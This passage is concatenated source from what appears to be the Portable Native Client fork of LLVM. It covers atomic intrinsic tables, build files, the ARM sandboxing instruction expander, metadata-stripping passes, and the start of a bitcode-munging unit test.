I[CurIntrin][CurType].ParamType[Param++] = P2; \
I[CurIntrin][CurType].ParamType[Param++] = P3; \
I[CurIntrin][CurType].ParamType[Param++] = P4; \
} \
++CurIntrin; \
} while (0)
INIT(Ptr, Mem, NoP, NoP, NoP, load);
INIT(Ptr, Int, Mem, NoP, NoP, store);
INIT(RMW, Ptr, Int, Mem, NoP, rmw);
INIT(Ptr, Int, Int, Mem, Mem, cmpxchg);
INIT(Mem, NoP, NoP, NoP, NoP, fence);
INIT(NoP, NoP, NoP, NoP, NoP, fence_all);
}
AtomicIntrinsics::View AtomicIntrinsics::allIntrinsicsAndOverloads() const {
return View(&I[0][0], NumAtomicIntrinsics * NumAtomicIntrinsicOverloadTypes);
}
const AtomicIntrinsics::AtomicIntrinsic *
AtomicIntrinsics::find(Intrinsic::ID ID, Type *OverloadedType) const {
View R = allIntrinsicsAndOverloads();
for (const AtomicIntrinsic *AI = R.begin(), *E = R.end(); AI != E; ++AI)
if (AI->ID == ID && AI->OverloadedType == OverloadedType)
return AI;
return 0;
}
} // End NaCl namespace
} // End llvm namespace
<file_sep>/include/llvm/NaClABI.h
#ifndef LLVM_NACLABI_H
#define LLVM_NACLABI_H
#define NaClDontBreakABI true
#endif<file_sep>/tools/pnacl-addnames/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
BitReader
Core
NaClBitWriter
NaClBitReader
Support)
add_llvm_tool(pnacl-addnames
pnacl-addnames.cpp
)
<file_sep>/tools/pnacl-llc/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
${LLVM_TARGETS_TO_BUILD}
Analysis
BitReader
CodeGen
Core
IRReader
MC
NaClAnalysis
NaClBitReader
NaClBitTestUtils
NaClTransforms
ScalarOpts
SelectionDAG
Support
Target)
add_llvm_tool(pnacl-llc
srpc_main.cpp
SRPCStreamer.cpp
pnacl-llc.cpp
ThreadedStreamingCache.cpp
)
if(LLVM_ENABLE_THREADS AND HAVE_LIBPTHREAD)
target_link_libraries(pnacl-llc pthread)
endif()
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClBitcodeSizeDist.cpp
//===-- NaClBitcodeSizeDist.cpp --------------------------------------------===//
// Implements distribution maps for value record sizes associated with
// bitcode records.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClBitcodeSizeDist.h"
using namespace llvm;
NaClBitcodeSizeDistElement::~NaClBitcodeSizeDistElement() {}
NaClBitcodeDistElement *NaClBitcodeSizeDistElement::CreateElement(
NaClBitcodeDistValue Value) const {
return new NaClBitcodeSizeDistElement();
}
void NaClBitcodeSizeDistElement::
GetValueList(const NaClBitcodeRecord &Record,
ValueListType &ValueList) const {
unsigned Size = Record.GetValues().size();
// Map all sizes greater than the max value index into the same bucket.
if (Size > NaClValueIndexCutoff) Size = NaClValueIndexCutoff;
ValueList.push_back(Size);
}
void NaClBitcodeSizeDistElement::AddRecord(const NaClBitcodeRecord &Record) {
NaClBitcodeDistElement::AddRecord(Record);
ValueIndexDist.AddRecord(Record);
}
const SmallVectorImpl<NaClBitcodeDist*> *NaClBitcodeSizeDistElement::
GetNestedDistributions() const {
return &NestedDists;
}
const char *NaClBitcodeSizeDistElement::GetTitle() const {
return "Record sizes";
}
const char *NaClBitcodeSizeDistElement::GetValueHeader() const {
return " Size";
}
void NaClBitcodeSizeDistElement::
PrintRowValue(raw_ostream &Stream,
NaClBitcodeDistValue Value,
const NaClBitcodeDist *Distribution) const {
Stream << format("%7u", Value);
// Report if we merged in GetValueList.
if (Value >= NaClValueIndexCutoff) Stream << "+";
}
NaClBitcodeSizeDistElement NaClBitcodeSizeDistElement::Sentinel;
<file_sep>/lib/Target/ARM/MCTargetDesc/ARMMCNaClExpander.cpp
//===- ARMMCNaClExpander.cpp ------------------------------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements the ARMMCNaClExpander class, the ARM specific
// subclass of MCNaClExpander.
//
//===----------------------------------------------------------------------===//
#include "ARMMCNaClExpander.h"
#include "ARMAddressingModes.h"
#include "MCTargetDesc/ARMBaseInfo.h"
#include "llvm/MC/MCInst.h"
#include "llvm/MC/MCInstrDesc.h"
#include "llvm/MC/MCInstrInfo.h"
#include "llvm/MC/MCNaClExpander.h"
#include "llvm/MC/MCObjectFileInfo.h"
#include "llvm/MC/MCRegisterInfo.h"
#include "llvm/MC/MCStreamer.h"
using namespace llvm;
const unsigned kBranchTargetMask = 0xC000000F;
const unsigned kSandboxMask = 0xC0000000;
bool ARM::ARMMCNaClExpander::isValidScratchRegister(unsigned Reg) const {
// TODO(dschuff): Also check the regster class.
return Reg != ARM::PC && Reg != ARM::SP;
}
static void emitBicMask(unsigned Mask, unsigned Reg, ARMCC::CondCodes Pred,
unsigned PredReg, MCStreamer &Out,
const MCSubtargetInfo &STI) {
MCInst Bic;
const int32_t EncodedMask = ARM_AM::getSOImmVal(Mask);
Bic.setOpcode(ARM::BICri);
Bic.addOperand(MCOperand::CreateReg(Reg));
Bic.addOperand(MCOperand::CreateReg(Reg));
Bic.addOperand(MCOperand::CreateImm(EncodedMask));
Bic.addOperand(MCOperand::CreateImm(Pred));
Bic.addOperand(MCOperand::CreateReg(PredReg));
Bic.addOperand(MCOperand::CreateReg(0));
Out.EmitInstruction(Bic, STI);
}
static ARMCC::CondCodes
getPredicate(const MCInst &Inst, const MCInstrInfo &Info, unsigned &PredReg) {
const MCInstrDesc &Desc = Info.get(Inst.getOpcode());
int PIdx = Desc.findFirstPredOperandIdx();
if (PIdx == -1) {
PredReg = 0;
return ARMCC::AL;
}
PredReg = Inst.getOperand(PIdx + 1).getReg();
return static_cast<ARMCC::CondCodes>(Inst.getOperand(PIdx).getImm());
}
// return a conditional branch through Reg based on the condition codes of Inst
static MCInst getConditionalBranch(unsigned Reg, const MCInst &Inst,
const MCInstrInfo &II) {
unsigned PredReg;
ARMCC::CondCodes Pred = getPredicate(Inst, II, PredReg);
MCInst BranchInst;
BranchInst.setOpcode(ARM::BX_pred);
BranchInst.addOperand(MCOperand::CreateReg(Reg));
BranchInst.addOperand(MCOperand::CreateImm(Pred));
BranchInst.addOperand(MCOperand::CreateReg(PredReg));
return BranchInst;
}
void ARM::ARMMCNaClExpander::expandIndirectBranch(const MCInst &Inst,
MCStreamer &Out,
const MCSubtargetInfo &STI,
bool isCall) {
assert(Inst.getOperand(0).isReg());
unsigned BranchReg = Inst.getOperand(0).getReg();
// No need to sandbox branch through sp or pc
if (BranchReg == ARM::SP || BranchReg == ARM::PC)
return Out.EmitInstruction(Inst, STI);
unsigned PredReg;
ARMCC::CondCodes Pred = getPredicate(Inst, *InstInfo, PredReg);
// Otherwise, mask target and branch through
Out.EmitBundleLock(isCall);
emitBicMask(kBranchTargetMask, BranchReg, Pred, PredReg, Out, STI);
Out.EmitInstruction(Inst, STI);
Out.EmitBundleUnlock();
}
void ARM::ARMMCNaClExpander::expandCall(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI) {
// Test for indirect call
if (Inst.getOperand(0).isReg()) {
expandIndirectBranch(Inst, Out, STI, true);
}
// Otherwise, we are a direct call, so just emit
else {
Out.EmitInstruction(Inst, STI);
}
}
void ARM::ARMMCNaClExpander::expandReturn(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI) {
unsigned Opcode = Inst.getOpcode();
if (Opcode == ARM::BX_RET || Opcode == ARM::MOVPCLR) {
MCInst BranchInst = getConditionalBranch(ARM::LR, Inst, *InstInfo);
return expandIndirectBranch(BranchInst, Out, STI, false);
}
return Out.EmitInstruction(Inst, STI);
}
void ARM::ARMMCNaClExpander::expandControlFlow(const MCInst &Inst,
MCStreamer &Out,
const MCSubtargetInfo &STI) {
// Optimize if we are just moving into PC
if (Inst.getOpcode() == ARM::MOVr && Inst.getOperand(0).getReg() == ARM::PC) {
unsigned Src = Inst.getOperand(1).getReg();
MCInst BranchInst = getConditionalBranch(Src, Inst, *InstInfo);
return expandIndirectBranch(BranchInst, Out, STI, false);
}
if (numScratchRegs() == 0)
Error(Inst, "Not enough scratch registers provided");
unsigned Scratch = getScratchReg(0);
MCInst SandboxedInst(Inst);
replaceDefinitions(SandboxedInst, ARM::PC, Scratch);
doExpandInst(SandboxedInst, Out, STI);
MCInst BranchInst = getConditionalBranch(Scratch, Inst, *InstInfo);
doExpandInst(BranchInst, Out, STI);
}
bool ARM::ARMMCNaClExpander::mayModifyStack(const MCInst &Inst) {
// No way to tell where the variable reglist starts, so conservatively
// check all registers if the instruction is a variadic load like LDM/VLDM
if (isVariadic(Inst) && mayLoad(Inst)) {
for (unsigned i = 0, e = Inst.getNumOperands(); i != e; ++i) {
if (Inst.getOperand(i).isReg() && Inst.getOperand(i).getReg() == ARM::SP)
return true;
}
}
// Otherwise, check if any definitions are SP
return mayModifyRegister(Inst, ARM::SP);
}
void ARM::ARMMCNaClExpander::expandStackManipulation(
const MCInst &Inst, MCStreamer &Out, const MCSubtargetInfo &STI) {
// Dont sandbox push/pop
switch (Inst.getOpcode()) {
case ARM::LDMIA_UPD:
case ARM::LDMIB_UPD:
case ARM::LDMDA_UPD:
case ARM::LDMDB_UPD:
case ARM::VLDMDIA_UPD:
case ARM::VLDMDDB_UPD:
case ARM::VLDMSIA_UPD:
case ARM::VLDMSDB_UPD:
case ARM::STMIA_UPD:
case ARM::STMIB_UPD:
case ARM::STMDA_UPD:
case ARM::STMDB_UPD:
case ARM::VSTMDIA_UPD:
case ARM::VSTMDDB_UPD:
case ARM::VSTMSIA_UPD:
case ARM::VSTMSDB_UPD:
case ARM::LDR_PRE_IMM:
case ARM::STR_PRE_IMM:
if (Inst.getOperand(0).getReg() == ARM::SP)
return Out.EmitInstruction(Inst, STI);
break;
case ARM::LDR_POST_IMM:
case ARM::STR_POST_IMM:
if (Inst.getOperand(1).getReg() == ARM::SP)
return Out.EmitInstruction(Inst, STI);
break;
default:
break;
}
unsigned PredReg;
ARMCC::CondCodes Pred = getPredicate(Inst, *InstInfo, PredReg);
Out.EmitBundleLock(false);
if (mayLoad(Inst) || mayStore(Inst)) {
expandLoadStore(Inst, Out, STI);
} else {
Out.EmitInstruction(Inst, STI);
}
emitBicMask(kSandboxMask, ARM::SP, Pred, PredReg, Out, STI);
Out.EmitBundleUnlock();
}
static int getMemIdx(const MCInst &Inst, const MCInstrInfo &InstInfo) {
unsigned Opc = Inst.getOpcode();
const MCOperandInfo *OpInfo = InstInfo.get(Opc).OpInfo;
for (int i = 0, e = Inst.getNumOperands(); i < e; i++) {
if (OpInfo[i].OperandType == MCOI::OPERAND_MEMORY) {
return i;
}
}
return -1;
}
// Sandbox an instruction that uses simple base + imm displacement
// addressing mode.
static void sandboxBaseDisp(const MCInst &Inst, const MCInstrInfo &II,
unsigned BaseReg, MCStreamer &Out,
const MCSubtargetInfo &STI) {
switch (BaseReg) {
case ARM::PC:
case ARM::SP:
return Out.EmitInstruction(Inst, STI);
}
unsigned PredReg;
ARMCC::CondCodes Pred = getPredicate(Inst, II, PredReg);
Out.EmitBundleLock(false);
emitBicMask(kSandboxMask, BaseReg, Pred, PredReg, Out, STI);
Out.EmitInstruction(Inst, STI);
Out.EmitBundleUnlock();
}
// Create an ADD instruction which computes the base + reg [+ scale]
// addressing mode in base LDR/STR instructions into the register Target.
static MCInst getAddrInstr(const MCInst &Inst, const MCInstrInfo &II, int MemIdx,
unsigned Target) {
assert(Inst.getOperand(MemIdx).isReg());
unsigned AM2Opc = Inst.getOperand(MemIdx + 2).getImm();
unsigned Offset = ARM_AM::getAM2Offset(AM2Opc);
ARM_AM::ShiftOpc ShOp = ARM_AM::getSORegShOp(ARM_AM::getAM2ShiftOpc(AM2Opc));
unsigned PredReg;
ARMCC::CondCodes Pred = getPredicate(Inst, II, PredReg);
MCInst Add;
// An ADDrsi op with a shift type of no_shift is equivalent to an ADDrr op;
// the asm printer does not care about the distinction and prints it correctly
// but the object file encoder asserts that the shift type of ADDrsi isn't
// no_shift. So create ADDrr when applicable.
Add.setOpcode(ShOp == ARM_AM::no_shift ? ARM::ADDrr : ARM::ADDrsi);
Add.addOperand(MCOperand::CreateReg(Target));
Add.addOperand(Inst.getOperand(MemIdx));
Add.addOperand(Inst.getOperand(MemIdx + 1));
if (ShOp != ARM_AM::no_shift)
Add.addOperand(MCOperand::CreateImm(ARM_AM::getSORegOpc(ShOp, Offset)));
Add.addOperand(MCOperand::CreateImm(Pred));
Add.addOperand(MCOperand::CreateReg(PredReg));
Add.addOperand(MCOperand::CreateReg(0));
return Add;
}
// Demote the load/store opcode to the sandboxed equivalent, i.e.,
// the version that uses a base + immediate displacement.
// TODO: add support for different sizes, like LDRB, LDRH, etc
static unsigned sandboxOpcode(unsigned Opcode) {
switch (Opcode) {
default:
return Opcode;
case ARM::LDRi12:
case ARM::LDR_PRE_IMM:
case ARM::LDR_PRE_REG:
case ARM::LDRrs:
return ARM::LDRi12;
case ARM::STRi12:
case ARM::STR_PRE_IMM:
case ARM::STR_PRE_REG:
case ARM::STRrs:
return ARM::STRi12;
}
}
// Sandbox the load/store with reg + reg + shift displacement into a
// simple load/store with base + imediate displacement. Target is the
// register that will eventually be the base in the sandboxed
// load/store. This is useful for passing in a scratch register, or
// the destination operand (for loads). RegIdx is the index of the
// operand which is the register to load to/store from, and MemIdx
// is the index to the memory operand
static void sandboxBaseRegScale(const MCInst &Inst, const MCInstrInfo &II,
bool PostIncrement, int RegIdx, int MemIdx,
unsigned Target, MCStreamer &Out,
const MCSubtargetInfo &STI) {
unsigned PredReg;
ARMCC::CondCodes Pred = getPredicate(Inst, II, PredReg);
if (PostIncrement) {
sandboxBaseDisp(Inst, II, Inst.getOperand(MemIdx).getReg(), Out, STI);
} else {
Out.EmitBundleLock(false);
Out.EmitInstruction(getAddrInstr(Inst, II, MemIdx, Target), STI);
emitBicMask(kSandboxMask, Target, Pred, PredReg, Out, STI);
MCInst SandboxedInst;
SandboxedInst.setOpcode(sandboxOpcode(Inst.getOpcode()));
SandboxedInst.addOperand(Inst.getOperand(RegIdx));
SandboxedInst.addOperand(MCOperand::CreateReg(Target));
SandboxedInst.addOperand(MCOperand::CreateImm(0));
SandboxedInst.addOperand(MCOperand::CreateImm(Pred));
SandboxedInst.addOperand(MCOperand::CreateReg(PredReg));
Out.EmitInstruction(SandboxedInst, STI);
Out.EmitBundleUnlock();
}
}
void ARM::ARMMCNaClExpander::expandPrefetch(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI) {
if (Inst.getOpcode() == ARM::PLDi12) {
return sandboxBaseDisp(Inst, *InstInfo, Inst.getOperand(0).getReg(), Out, STI);
} else if (Inst.getOpcode() == ARM::PLDrs) {
if (numScratchRegs() == 0)
Error(Inst, "Not enough scratch registers provided");
unsigned Scratch = getScratchReg(0);
Out.EmitBundleLock(false);
Out.EmitInstruction(getAddrInstr(Inst, *InstInfo, 0, Scratch), STI);
unsigned PredReg;
ARMCC::CondCodes Pred = getPredicate(Inst, *InstInfo, PredReg);
emitBicMask(kSandboxMask, Scratch, Pred, PredReg, Out, STI);
MCInst SandboxedInst;
SandboxedInst.setOpcode(ARM::PLDi12);
SandboxedInst.addOperand(MCOperand::CreateReg(Scratch));
SandboxedInst.addOperand(MCOperand::CreateImm(0));
Out.EmitInstruction(SandboxedInst, STI);
Out.EmitBundleUnlock();
} else {
Out.EmitInstruction(Inst, STI);
}
}
void ARM::ARMMCNaClExpander::expandLoadStore(const MCInst &Inst,
MCStreamer &Out,
const MCSubtargetInfo &STI) {
switch (Inst.getOpcode()) {
case ARM::STMIA_UPD:
case ARM::STMDA_UPD:
case ARM::STMDB_UPD:
case ARM::STMIB_UPD:
case ARM::VSTMDIA:
case ARM::VSTMDIA_UPD:
case ARM::VSTMDDB_UPD:
case ARM::VSTMSIA:
case ARM::VSTMSIA_UPD:
case ARM::VSTMSDB_UPD:
case ARM::LDMIA_UPD:
case ARM::LDMDA_UPD:
case ARM::LDMDB_UPD:
case ARM::LDMIB_UPD:
case ARM::VLDMDIA:
case ARM::VLDMDIA_UPD:
case ARM::VLDMDDB_UPD:
case ARM::VLDMSIA:
case ARM::VLDMSIA_UPD:
case ARM::VLDMSDB_UPD:
case ARM::STMIA:
case ARM::STMDA:
case ARM::STMDB:
case ARM::STMIB:
case ARM::LDMIA:
case ARM::LDMDA:
case ARM::LDMDB:
case ARM::LDMIB:
return sandboxBaseDisp(Inst, *InstInfo, Inst.getOperand(0).getReg(), Out,
STI);
}
int MemIdx = getMemIdx(Inst, *InstInfo);
// Some instructions have the mayLoad/mayStore bits but no memory operands,
// e.g. DMB, or have expression operands (e.g. LDR with a label operand or
// ADR). If there are no memory operands, or the memory operand is not a reg,
// don't modify the instruction.
if (MemIdx == -1 || Inst.getOperand(MemIdx).isExpr())
return Out.EmitInstruction(Inst, STI);
unsigned BaseReg = Inst.getOperand(MemIdx).getReg();
bool PostIncrement = false;
switch (Inst.getOpcode()) {
case ARM::PLDi12:
case ARM::PLDrs:
return expandPrefetch(Inst, Out, STI);
case ARM::LDRi12:
case ARM::STRi12:
case ARM::LDR_PRE_IMM:
case ARM::STR_PRE_IMM:
case ARM::LDR_POST_IMM:
case ARM::STR_POST_IMM:
return sandboxBaseDisp(Inst, *InstInfo, Inst.getOperand(MemIdx).getReg(),
Out, STI);
case ARM::LDR_PRE_REG:
return sandboxBaseRegScale(Inst, *InstInfo, false, 0, MemIdx, BaseReg, Out,
STI);
case ARM::STR_PRE_REG:
return sandboxBaseRegScale(Inst, *InstInfo, false, 1, MemIdx, BaseReg, Out,
STI);
case ARM::LDR_POST_REG:
PostIncrement = true;
case ARM::LDRrs:
return sandboxBaseRegScale(Inst, *InstInfo, PostIncrement, 0, MemIdx,
Inst.getOperand(0).getReg(), Out, STI);
case ARM::STR_POST_REG:
PostIncrement = true;
case ARM::STRrs:
if (numScratchRegs() == 0)
Error(Inst, "Not enough scratch registers provided");
return sandboxBaseRegScale(Inst, *InstInfo, PostIncrement, 0, MemIdx,
getScratchReg(0), Out, STI);
default:
// Fall back case, should handle all other instructions that load/store memory
// such as VFP/NEON loads/stores and prefetch instructions.
return sandboxBaseDisp(Inst, *InstInfo, Inst.getOperand(MemIdx).getReg(), Out,
STI);
}
}
void ARM::ARMMCNaClExpander::doExpandInst(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI) {
// This logic is to remain compatible with the existing pseudo instruction
// expansion code in ARMMCNaCl.cpp
if (SaveCount == 0) {
switch (Inst.getOpcode()) {
case ARM::SFI_NOP_IF_AT_BUNDLE_END:
SaveCount = 3;
break;
case ARM::SFI_DATA_MASK:
llvm_unreachable(
"SFI_DATA_MASK found without preceding SFI_NOP_IF_AT_BUNDLE_END");
break;
case ARM::SFI_GUARD_CALL:
case ARM::SFI_GUARD_INDIRECT_CALL:
case ARM::SFI_GUARD_INDIRECT_JMP:
case ARM::SFI_GUARD_RETURN:
case ARM::SFI_GUARD_LOADSTORE:
case ARM::SFI_GUARD_LOADSTORE_TST:
SaveCount = 2;
break;
case ARM::SFI_GUARD_SP_LOAD:
SaveCount = 4;
break;
default:
break;
}
}
if (SaveCount == 0) {
if (isReturn(Inst)) {
return expandReturn(Inst, Out, STI);
} else if (isIndirectBranch(Inst)) {
return expandIndirectBranch(Inst, Out, STI, false);
} else if (isCall(Inst)) {
return expandCall(Inst, Out, STI);
} else if (isBranch(Inst)) {
return Out.EmitInstruction(Inst, STI);
} else if (mayAffectControlFlow(Inst)) {
return expandControlFlow(Inst, Out, STI);
} else if (mayModifyStack(Inst)) {
return expandStackManipulation(Inst, Out, STI);
} else if (mayLoad(Inst) || mayStore(Inst)) {
return expandLoadStore(Inst, Out, STI);
} else {
return Out.EmitInstruction(Inst, STI);
}
} else {
SaveCount--;
Out.EmitInstruction(Inst, STI);
}
}
bool ARM::ARMMCNaClExpander::expandInst(const MCInst &Inst, MCStreamer &Out,
const MCSubtargetInfo &STI) {
if (Guard)
return false;
Guard = true;
doExpandInst(Inst, Out, STI);
Guard = false;
return true;
}
<file_sep>/lib/Transforms/NaCl/SimplifiedFuncTypeMap.h
//===-- SimplifiedFuncTypeMap.h - Consistent type remapping------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_SIMPLIFIEDFUNCTYPEMAP_H
#define LLVM_SIMPLIFIEDFUNCTYPEMAP_H
#include <llvm/ADT/DenseMap.h>
#include "llvm/IR/DerivedTypes.h"
namespace llvm {
// SimplifiedFuncTypeMap provides a consistent type map, given a rule
// for mapping function types - which is provided by implementing
// getSimpleFuncType.
// A few transformations require changing function types, for example
// SimplifyStructRegSignatures or PromoteIntegers. When doing so, we also
// want to change any references to function types - for example structs
// with fields typed as function pointer(s). Structs are not interned by LLVM,
// which is what SimplifiedFuncTypeMap addresses.
class SimplifiedFuncTypeMap {
public:
typedef DenseMap<StructType *, StructType *> StructMap;
Type *getSimpleType(LLVMContext &Ctx, Type *Ty);
virtual ~SimplifiedFuncTypeMap() {}
protected:
class MappingResult {
public:
MappingResult(Type *ATy, bool Chg) {
Ty = ATy;
Changed = Chg;
}
bool isChanged() { return Changed; }
Type *operator->() { return Ty; }
operator Type *() { return Ty; }
private:
Type *Ty;
bool Changed;
};
virtual MappingResult getSimpleFuncType(LLVMContext &Ctx,
StructMap &Tentatives,
FunctionType *OldFnTy) = 0;
typedef SmallVector<Type *, 8> ParamTypeVector;
DenseMap<Type *, Type *> MappedTypes;
MappingResult getSimpleAggregateTypeInternal(LLVMContext &Ctx, Type *Ty,
StructMap &Tentatives);
bool isChangedStruct(LLVMContext &Ctx, StructType *StructTy,
ParamTypeVector &ElemTypes, StructMap &Tentatives);
};
}
#endif // LLVM_SIMPLIFIEDFUNCTYPEMAP_H
<file_sep>/tools/llvm-objdump/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
${LLVM_TARGETS_TO_BUILD}
DebugInfoDWARF
MC
MCDisassembler
Object
Support
)
add_llvm_tool(llvm-objdump
llvm-objdump.cpp
COFFDump.cpp
ELFDump.cpp
MachODump.cpp
)
<file_sep>/lib/Transforms/NaCl/StripMetadata.cpp
//===- StripMetadata.cpp - Strip non-stable non-debug metadata ------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// The StripMetadata transformation strips instruction attachment
// metadata, such as !tbaa and !prof metadata.
// TODO: Strip NamedMetadata too.
//
// It does not strip debug metadata. Debug metadata is used by debug
// intrinsic functions and calls to those intrinsic functions. Use the
// -strip-debug or -strip pass to strip that instead.
//
// The goal of this pass is to reduce bitcode ABI surface area.
// We don't know yet which kind of metadata is considered stable.
//===----------------------------------------------------------------------===//
#include "llvm/IR/DebugInfoMetadata.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
class StripMetadata : public ModulePass {
public:
static char ID;
StripMetadata() : ModulePass(ID), ShouldStripModuleFlags(false) {
initializeStripMetadataPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
virtual void getAnalysisUsage(AnalysisUsage &AU) const {
AU.setPreservesCFG();
}
protected:
bool ShouldStripModuleFlags;
};
class StripModuleFlags : public StripMetadata {
public:
static char ID;
StripModuleFlags() : StripMetadata() {
initializeStripModuleFlagsPass(*PassRegistry::getPassRegistry());
ShouldStripModuleFlags = true;
}
};
// In certain cases, linked bitcode files can have DISupbrogram metadata which
// points to a Function that has no dbg attachments. This causes problem later
// (e.g. in inlining). See https://llvm.org/bugs/show_bug.cgi?id=23874
// Until that bug is fixed upstream (the fix will involve infrastructure that we
// don't have in our branch yet) we have to ensure we don't expose this case
// to further optimizations. So we'd like to strip out such debug info.
// Unfortunately once created the metadata is not easily deleted or even
// modified; the best we can easily do is to set the Function object it points
// to to null. Fortunately this is legitimate (declarations have no Function
// either) and should be workable until the fix lands.
class StripDanglingDISubprograms : public ModulePass {
public:
static char ID;
StripDanglingDISubprograms() : ModulePass(ID) {
initializeStripDanglingDISubprogramsPass(*PassRegistry::getPassRegistry());
}
bool runOnModule(Module &M) override;
};
}
char StripMetadata::ID = 0;
INITIALIZE_PASS(StripMetadata, "strip-metadata",
"Strip all non-stable non-debug metadata from a module.",
false, false)
char StripModuleFlags::ID = 0;
INITIALIZE_PASS(StripModuleFlags, "strip-module-flags",
"Strip all non-stable non-debug metadata from a module, "
"including the llvm.module.flags metadata.",
false, false)
char StripDanglingDISubprograms::ID = 0;
INITIALIZE_PASS(StripDanglingDISubprograms, "strip-dangling-disubprograms",
"Strip DISubprogram metadata for functions with no debug info",
false, false)
ModulePass *llvm::createStripMetadataPass() {
return new StripMetadata();
}
ModulePass *llvm::createStripModuleFlagsPass() {
return new StripModuleFlags();
}
ModulePass *llvm::createStripDanglingDISubprogramsPass() {
return new StripDanglingDISubprograms();
}
static bool IsWhitelistedMetadata(const NamedMDNode *node,
bool StripModuleFlags) {
// Leave debug metadata to the -strip-debug pass.
return (node->getName().startswith("llvm.dbg.") ||
// "Debug Info Version" is in llvm.module.flags.
(!StripModuleFlags && node->getName().equals("llvm.module.flags")));
}
static bool DoStripMetadata(Module &M, bool StripModuleFlags) {
bool Changed = false;
if (!StripModuleFlags)
for (Function &F : M)
for (BasicBlock &B : F)
for (Instruction &I : B) {
SmallVector<std::pair<unsigned, MDNode *>, 8> InstMeta;
// Let the debug metadata be stripped by the -strip-debug pass.
I.getAllMetadataOtherThanDebugLoc(InstMeta);
for (size_t i = 0; i < InstMeta.size(); ++i) {
I.setMetadata(InstMeta[i].first, NULL);
Changed = true;
}
}
// Strip unsupported named metadata.
SmallVector<NamedMDNode*, 8> ToErase;
for (Module::NamedMDListType::iterator I = M.named_metadata_begin(),
E = M.named_metadata_end(); I != E; ++I) {
if (!IsWhitelistedMetadata(I, StripModuleFlags))
ToErase.push_back(I);
}
for (size_t i = 0; i < ToErase.size(); ++i)
M.eraseNamedMetadata(ToErase[i]);
return Changed;
}
bool StripMetadata::runOnModule(Module &M) {
return DoStripMetadata(M, ShouldStripModuleFlags);
}
static bool functionHasDbgAttachment(const Function &F) {
for (const BasicBlock &BB : F) {
for (const Instruction &I : BB) {
if (I.getDebugLoc()) {
return true;
}
}
}
return false;
}
bool StripDanglingDISubprograms::runOnModule(Module &M) {
NamedMDNode *CU_Nodes = M.getNamedMetadata("llvm.dbg.cu");
if (!CU_Nodes)
return false;
bool Changed = false;
for (MDNode *N : CU_Nodes->operands()) {
auto *CUNode = cast<MDCompileUnit>(N);
for (auto *SP : CUNode->getSubprograms()) {
// For each subprogram in the debug info, check its function for dbg
// attachments. The allocas and some other stuff in the entry block
// typically do not have attachments but everything else usually does.
// In the worst case this walks the whole function (if there are no
// attachments) but this only happens in the (uncommon) bad case that
// we want to fix; i.e. there is a DISubprogram but no attachments).
// Usually either there will be no DISubprograms or we will have to
// check just a few instructions per function.
Function *F = SP->getFunction();
if (F && !functionHasDbgAttachment(*F)) {
// Can't really delete it, just remove the reference to the Function.
SP->replaceFunction(nullptr);
Changed = true;
}
}
}
return Changed;
}
<file_sep>/unittests/Bitcode/NaClMungedBitcodeTest.cpp
//===- llvm/unittest/Bitcode/NaClMungedBitcodeTest.cpp -------------------===//
// Tests munging NaCl bitcode records.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Tests munging NaCl bitcode records.
#include "NaClMungeTest.h"
#include <limits>
using namespace llvm;
namespace naclmungetest {
TEST(NaClMungedBitcodeTest, TestInsertBefore) {
const uint64_t Records[] = {
1, 2, 3, Terminator,
4, 5, Terminator,
6, 7, 8 , 9, Terminator,
10, 11, Terminator
};
NaClMungedBitcode MungedRecords(ARRAY_TERM(Records));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add a record before the second record.
const uint64_t BeforeSecond[] = {
1, NaClMungedBitcode::AddBefore, 12, 13, 14, Terminator
};
MungedRecords.munge(ARRAY_TERM(BeforeSecond));
EXPECT_EQ(
" 1: [2, 3]\n"
" 12: [13, 14]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add two more records before the second record.
const uint64_t BeforeSecondMore[] = {
1, NaClMungedBitcode::AddBefore, 15, 16, 17, Terminator,
1, NaClMungedBitcode::AddBefore, 18, 19, Terminator
};
MungedRecords.munge(ARRAY_TERM(BeforeSecondMore));
EXPECT_EQ(
" 1: [2, 3]\n"
" 12: [13, 14]\n"
" 15: [16, 17]\n"
" 18: [19]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add two records before the last record.
const uint64_t BeforeLast[] = {
3, NaClMungedBitcode::AddBefore, 21, 22, 23, Terminator,
3, NaClMungedBitcode::AddBefore, 24, 25, 26, 27, Terminator
};
MungedRecords.munge(ARRAY_TERM(BeforeLast));
EXPECT_EQ(
" 1: [2, 3]\n"
" 12: [13, 14]\n"
" 15: [16, 17]\n"
" 18: [19]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 21: [22, 23]\n"
" 24: [25, 26, 27]\n"
" 10: [11]\n",
stringify(MungedRecords));
}
TEST(NaClMungedBitcodeTest, TestInsertAfter) {
